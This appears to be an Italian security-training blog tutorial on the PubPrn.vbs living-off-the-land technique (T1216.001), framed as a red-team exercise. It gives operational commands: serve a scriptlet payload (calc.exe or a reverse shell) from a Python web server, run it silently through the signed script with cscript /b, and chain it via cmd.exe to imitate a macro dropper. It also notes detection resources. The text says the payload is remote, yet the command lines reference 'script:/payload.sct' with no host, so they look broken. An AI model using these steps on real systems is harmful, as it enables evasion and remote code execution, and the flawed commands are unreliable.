Esecuzione Proxy tramite Script di Stampa: PubPrn (T1216.001)

PubPrn.vbs è uno script Visual Basic incluso nativamente nelle installazioni Windows, progettato per pubblicare stampanti su Active Directory Domain Services. La sua firma digitale Microsoft lo rende un candidato perfetto per una tecnica nota come proxy execution: un avversario non esegue direttamente il proprio codice malevolo, ma lo fa transitare attraverso un binario o script considerato legittimo dal sistema operativo e dalle soluzioni di sicurezza.

La tecnica ricade nella tattica Defense Evasion (TA0005), la fase della kill chain in cui l'attaccante lavora per sfuggire ai controlli. Lo sfruttamento avviene manipolando il secondo parametro dello script: anziché passare un percorso LDAP legittimo, l'attaccante specifica il moniker script: seguito da un riferimento a un file scriptlet (.sct) ospitato su un server remoto. Lo script firmato Microsoft diventa così un vettore di download ed esecuzione, aggirando application control e validazione delle firme digitali.

Un dettaglio cruciale: a partire da Windows 10, Microsoft ha mitigato il problema limitando il secondo parametro al solo protocollo LDAP://, bloccando l'uso del moniker script:. Questo significa che la tecnica è efficace principalmente su sistemi legacy — un dato che non ne riduce la pericolosità, considerando quanti ambienti enterprise mantengono ancora macchine Windows 7 o Server 2008 R2 in produzione.

L'obiettivo in un esercizio red team è dimostrare che l'ambiente non rileva o non blocca l'abuso di script firmati Microsoft. PubPrn è un classico Living Off the Land Binary (LOLBin) — o meglio, LOLScript — e la catena d'attacco è sorprendentemente lineare.

Il primo passo è preparare il payload. Serve un file scriptlet (.sct) che contenga codice COM scriptlet valido. In un laboratorio controllato, il file .sct può lanciare un semplice calc.exe come proof of concept, oppure una reverse shell per dimostrare l'impatto completo. Il file va ospitato su un web server sotto il tuo controllo — un semplice listener Python è sufficiente:

python3 -m http.server 8080

Sul sistema target, l'esecuzione avviene invocando cscript con PubPrn.vbs. Il percorso dello script varia leggermente tra le versioni di Windows, ma di norma si trova in C:\Windows\System32\Printing_Admin_Scripts\en-US\. Il comando canonico è:

cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:/payload.sct

Il flag /b sopprime l'output a console, rendendo l'esecuzione meno visibile. Il primo parametro (127.0.0.1) è il server di stampa, ma nel contesto dell'abuso è irrilevante — l'esecuzione del codice remoto avviene tramite il secondo parametro con il moniker script:.

Per un test più realistico, concatena l'esecuzione all'interno di una catena di comandi via cmd.exe, simulando uno scenario dove un documento macro o un initial access dropper lancia lo script:

cmd.exe /c cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs "" script:/payload.sct

Alcuni punti operativi da tenere a mente durante il test:

  • Verifica la versione dell'OS prima di procedere: su Windows 10+ la tecnica è patchata. Usa systeminfo | findstr /B /C:"OS Version" per accertarti.
  • Monitora il traffico in uscita con Wireshark (open source) per confermare che la connessione HTTP al server .sct avvenga effettivamente.
  • Il progetto LOLBAS (open source) cataloga PubPrn e fornisce dettagli sulla superficie d'attacco dello script, consultabile come riferimento per la reportistica.
  • Atomic Red Team (open source) include test preconfigurati per questa tecnica, utilizzabili per validare la detection in modo ripetibile.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo

We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.